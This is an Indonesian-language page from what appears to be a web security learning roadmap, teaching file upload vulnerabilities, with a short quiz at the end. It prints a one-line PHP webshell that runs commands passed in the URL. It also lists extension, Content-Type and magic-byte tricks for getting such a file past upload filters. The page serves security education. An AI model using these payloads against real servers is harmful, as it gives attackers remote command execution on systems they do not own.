Kembali ke Roadmap
// PHASE 3 · File Upload Vulnerabilities

File Upload Vulnerabilities

File Upload Vulnerabilities

Fitur upload file yang tidak aman bisa memungkinkan attacker mengupload file berbahaya — dari webshell hingga file yang bisa meng-overwrite konten penting.

Tipe Serangan

1. Webshell Upload

# PHP webshell sederhana <?php system($_GET['cmd']); ?> # Setelah upload: akses via browser https://target.com/uploads/shell.php?cmd=id

Bypass Teknik

Extension Bypass

# Ekstensi alternatif PHP shell.php3, shell.php4, shell.php5 shell.phtml, shell.phar, shell.shtml # Double extension shell.php.jpg, shell.jpg.php # Null byte (PHP lama) shell.php%00.jpg

Content-Type Bypass

# Ubah Content-Type di Burp meski upload PHP Content-Type: image/jpeg ← padahal isinya PHP

Magic Bytes

# Tambahkan header JPEG di awal file PHP echo -e '\xFF\xD8\xFF' > shell.php echo '<?php system($_GET["cmd"]); ?>' >> shell.php

Checklist Testing Upload

// CEK PEMAHAMAN
Mengapa ekstensi .phar bisa digunakan untuk bypass file upload filter?
AKarena .phar diproses oleh browser, bukan server
B.phar adalah PHP Archive yang tetap dieksekusi sebagai PHP tapi mungkin lolos filter yang hanya blokir .php
CServer memperlakukan .phar sebagai file gambar
DBrowser mengeksekusi .phar sebagai JavaScript
Cross-Site Request Forgery (CSRF) Race Conditions